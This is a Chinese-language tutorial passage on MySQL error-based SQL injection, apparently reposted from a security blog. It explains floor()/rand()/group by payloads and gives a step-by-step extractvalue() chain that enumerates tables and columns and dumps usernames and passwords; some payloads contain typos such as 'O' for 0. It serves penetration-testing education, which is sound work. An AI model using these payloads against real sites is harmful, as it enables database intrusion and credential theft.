MYSQL SQL注入 (3)

MYSQL SQL注入

注意 :(1)XPATH报错注入的使用条件是数据库版本符合条件 (2)extractvalue() 和 updatexml() 有32位 长度限制

floor() ** 报错注入**

floor() 报错注入准确地说应该是floor、 count、 group by冲突报错, count(*)、rand()、group by三者缺一不可

floor() 函数的作用是返回小于等于该值的最大整数 ,只返回arg1整数部分 ,小数部分舍弃

条件:mysql 5.0及以上版本

标准 Payload:

and (select 1 from(select count(*),concat(user(),floor(rand(O)*2))x from information_schema.tables group by x)y) and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)

结果:Duplicate entry 'root@localhost1' for key 'group key'

MYSQL SQL注入

标准Payload解析:

    - floor():取整数

    - rand():在0和1之间产生一个随机数

    - rand(0)*2:将取到的随机数乘以2=0

    - floor(rand()*2):有两条记录就会报错随机输出0或1

    - floor(rand(0)*2):记录需为3条以上,且3条以上必报错 ,返回的值是有规律的

    - count(*):用来统计结果,相当于刷新一次结果

    - group by:在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入;存在的话 count()加1,在使用 group by时 floor(rand(0)2)会被执行一次,若虛表不存在记录,插入虚表时会再执行一次

其他常用报错注入

    1. 列名重复报错注入

MYSQL SQL注入

    2. 整形溢出报错注入

MYSQL SQL注入

    3. 几何函数报错注入

MYSQL SQL注入

    4. 常见的报错函数

MYSQL SQL注入

    > 报错注入一般流程

**1.查看数据库版本,当前数据库名,当前用户** and extractvalue(1,concat(Ox7e,(select version()),0x7e))--+ and extractvalue(1,concat(Ox7e,(select database()),0x7e))--+ and extractvalue(1,concat(Ox7e,(select user()),0x7e))--+ **2.查看数据库中有多少个表** and extractvalue(1,concat(ox7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))--+ **3.查看数据库中有所有表名** and extractvalue(1,concat(ox7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+ **4.查看表里面的所有字段名** and extractvalue(1,concat(ox7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e))--+ **5.查看表中的所有数据** and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e))--+ and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from dvwa.users limit 0,1),0x7e))--+ bool盲注

普通注入和盲注的区别

MYSQL SQL注入

bool盲注概述

bool盲注时SQL盲注的一种,就是在进行SQL注入的时候,WEB页面仅返回True和 False

bool盲注会根据web页面返回的True或者 False信息,对数据库中的信息进行猜解 ,并获取数据库中的相关信息

相关函数介绍看0x01 常用函数总结

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzjfjy.html